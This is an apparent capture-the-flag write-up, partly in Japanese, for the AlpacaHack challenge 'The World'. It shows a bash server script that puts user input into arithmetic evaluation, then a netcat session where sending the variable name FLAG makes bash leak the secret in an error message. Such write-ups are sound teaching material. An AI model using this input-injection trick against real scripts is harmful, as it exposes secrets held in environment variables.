Writeup Log

The World

EventDaily AlpacaHack
DifficultyEasy

## solve

bash
❯ ls -la
total 20
drwxr-xr-x 2 nabeen nabeen 4096 Feb  5 21:35 .
drwxr-xr-x 5 nabeen nabeen 4096 Feb 14 01:25 ..
-rw-r--r-- 1 nabeen nabeen  155 Feb  5 21:35 compose.yaml
-rw-r--r-- 1 nabeen nabeen  193 Feb  5 21:35 Dockerfile
-rw-r--r-- 1 nabeen nabeen  439 Feb  5 21:35 server.sh

d1, d2 をそれぞれ 100 秒以内の誤差、100 ナノ秒の差分で送ることができればよい、のだが、ナノ秒の誤差は正直難しい。

bash
❯ cat server.sh
#!/bin/bash
set -euo pipefail
FLAG=${FLAG:-"Alpaca{*** REDACTED ***}"}

echo "[Warmup] current time (seconds)?"
read t; d1=$(( t-$(date +%s) ))
if (( -100 < d1 && d1 < 100 )); then
    echo "Well done."
else
    echo "Hm. diff: $d1"
    exit 1
fi

echo "[Impossible] current time (nanoseconds)?"
read t; d2=$(( t-$(date +%s%N) ))
if (( -100 < d2 && d2 < 100 )); then
    echo "The World! $FLAG"
else
    echo "Hm. diff: $d2"
    exit 1
fi

read t; d1=$(( t-$(date +%s) )) となっていることに着目し、エラーを引き出すことで露出させる。

bash
❯ nc 34.170.146.252 36939
[Warmup] current time (seconds)?
FLAG
server.sh: line 6: Alpaca{muda.sh}: arithmetic syntax error: invalid arithmetic operator (error token is "{muda.sh}")
server.sh: line 7: d1: unbound variable

## flag

  • Alpaca{muda.sh}